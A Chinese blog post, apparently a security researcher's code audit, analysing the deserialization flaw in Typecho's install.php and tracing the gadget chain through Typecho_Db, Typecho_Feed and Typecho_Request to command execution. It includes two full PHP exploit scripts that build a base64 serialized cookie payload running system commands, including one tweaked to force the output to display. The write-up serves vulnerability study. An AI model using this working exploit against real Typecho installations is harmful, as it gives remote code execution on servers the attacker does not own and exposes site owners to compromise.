ma4ter

熬过无人问津的日子才能拥有诗和远方.

typecho install.php反序列化漏洞分析

代码审计 1 评 276 读

请输入图片描述

不想复习高数 抽空分析分析这个

要进入到漏洞代码这里需要满足isset($_GET['finish'] referer不为空且和当前网站为同一个域名

image.png

install.php 229-235行

                    <?php
                    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
                    Typecho_Cookie::delete('__typecho_config');
                    $db = new Typecho_Db($config['adapter'], $config['prefix']);
                    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
                    Typecho_Db::set($db);
                    ?>

config变量在进行base64解码之后再进行反序列化

跟进这个静态方法get()

    public static function get($key, $default = NULL)
    {
        $key = self::$_prefix . $key;
        $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
        return is_array($value) ? $default : $value;
    }

可以看到这里可以从cookie或者post包中获取值赋给$value变量 最后返回 因为是base64后的数据 所以不为数组

回到install.php 233行

 $installDb = new Typecho_Db($config['adapter'], $config['prefix']);

用反序列化来的$config对象中的adapter和prefix实例化了一个对象 跟进去

    public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 获取适配器名称 */
        $this->_adapterName = $adapterName;

        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

        if (!call_user_func(array($adapterName, 'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
        }

        $this->_prefix = $prefix;

        /** 初始化内部变量 */
        $this->_pool = array();
        $this->_connectedPool = array();
        $this->_config = array();

        //实例化适配器对象
        $this->_adapter = new $adapterName();
    }

可看到这里的第7行直接将传过来的 $adapterName直接拼接到字符串后面 所以如果这个变量是一个对象的话 就可以触发__tostring方法 我们全局找一下这个魔术方法

image.png

后面发现只有Typecho_Feed这一个类可以利用 我们进去看看

291行

              $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

这里去访问了item数组author键值的screenName属性 如果这个属性不存在就能调用__get魔术方法

但是进入这里有一个条件

image.png

都可控 然后这个_items为多维数组

我们继续找一下__get方法

image.png

Typecho_Request类 跟进get方法

    public function get($key, $default = NULL)
    {
        switch (true) {
            case isset($this->_params[$key]):
                $value = $this->_params[$key];
                break;
            case isset(self::$_httpParams[$key]):
                $value = self::$_httpParams[$key];
                break;
            default:
                $value = $default;
                break;
        }

        $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
        return $this->_applyFilter($value);
    }

$value可控 跟进_applyFilter方法

image.png

这里就能RCE了

编写我们的EXP

<?php
class Typecho_Feed
{
    const RSS2 = 'RSS 2.0';
    private $_type;
    private $_items;
    public function __construct(){
        $this->_type=self::RSS2;
        $this->_items=[
            0=>[
            'author'=>new Typecho_Request()]
        ];
    }
}
class Typecho_Request
{
    private $_params;
    private $_filter;
    public function __construct(){
        $this->_filter=['system'];
        $this->_params=['screenName'=>'whoami'];
    }
}
$test=array('prefix'=>'typecho_',
    'adapter'=>new Typecho_Feed()
    );
echo base64_encode(serialize($test));

image.png

这时我们发现会报错 没有回显
这是因为在Typecho_Db类中image.png

如果这个$adapterName对象里面没有isAvailable这个方法就会抛出异常

且清楚了缓存 导致无法输出错误信息以及我们的payload返回信息

image.png

所以我们需要它先报错 然后输出错误信息

image.png

这里将$item['category']设置为一个数组 且里面为一个对象就能报错 因为访问对象的属性是用->进行访问

image.png完整的exp

<?php
class Typecho_Feed
{
    const RSS2 = 'RSS 2.0';
    private $_type;
    private $_items;
    public function __construct(){
        $this->_type=self::RSS2;
        $this->_items=[
            0=>[
            'author'=>new Typecho_Request(),'category'=>array(new Typecho_Request)]
        ];
    }
}
class Typecho_Request
{
    private $_params;
    private $_filter;
    public function __construct(){
        $this->_filter=['system'];
        $this->_params=['screenName'=>'whoami'];
    }
}
$test=array('prefix'=>'typecho_',
    'adapter'=>new Typecho_Feed()
    );
echo base64_encode(serialize($test));

image.png

总的来说这个链子不算复杂

1 评论
    panaceaChrome 87Windows 7
    6月4日回复

    牛哇牛哇